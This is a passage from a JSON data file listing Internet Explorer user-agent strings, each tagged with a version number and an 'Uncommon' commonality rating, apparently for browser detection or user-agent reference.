10.0; Macintosh; Intel Mac OS X 10_7_3; Trident\\/6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; yie10; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATP; MATP; MATPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0(compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; yie9; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MASAJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; BOIE9;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 10.0; Windows NT 6.1; TrafficBlazer 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MANMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"5.5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT 5.0; T312461)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; FunWebProducts; SearchToolbar 1.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C; InfoPath.2; AskTbOVO2\\/5.15.0.21954; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 11.0; Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident\\/6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 1320) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; EIE10;ENUSMCM; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MAGWJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; IE0006_ver1;EN_US)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; KTXN)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"MSIE 10.0\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor; Tablet PC 2.0; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident\\/5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; BOIE9;ENCA; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MAPBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; Trident\\/7.0; yie11; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; MAAR; .NET4.0C; McAfee; BRI\\/2; .NET4.0E; BOIE9;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; AskTbORJ\\/5.15.23.36191; IPH 1.1.21.4019; MS STORE DMC2.9.4919.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENGBMCM; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; QS 4.2.4.0; QS 5.3.0.4; InfoPath.1; QS 4.2.4.0; QS 5.3.0.4)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Win64; x64; Trident\\/8.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0(compatible;MSIE9.0;WindowsNT6.1;Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; APCPMS=^N201612260706324897089AE7ED23CDF3E63F_1299^; Trident\\/6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; MRA 4.6 (build 01425); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MATMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; Trident\\/7.0; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP08; MAAU; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; yie11)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB6.6; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.1; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MASEJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MATPJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;ENNZ)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; QS 4.2.4.0; QS 5.3.0.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; QS 4.2.4.0; QS 5.3.0.4)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.3; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; InfoPath.3; LCJB)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Netcraft SSL Server Survey - contact info@netcraft.com)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.2 (compatible; MSIE11.0; Windows NT 6.1; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAAR; McAfee; .NET4.0C; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; NP07; NP07)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; USPortal; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 920) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; yie; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; LCTE)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; BRI\\/1; BRI\\/2; FunWebProducts; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; BTRS124307; SIMBAR={6C7A3AB7-4E15-41DC-8F2D-B187A383F4FE}; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI\\/1; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDR; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MATPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; ATT-IE11; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"7.0\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; GWX:QUALIFIED)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; 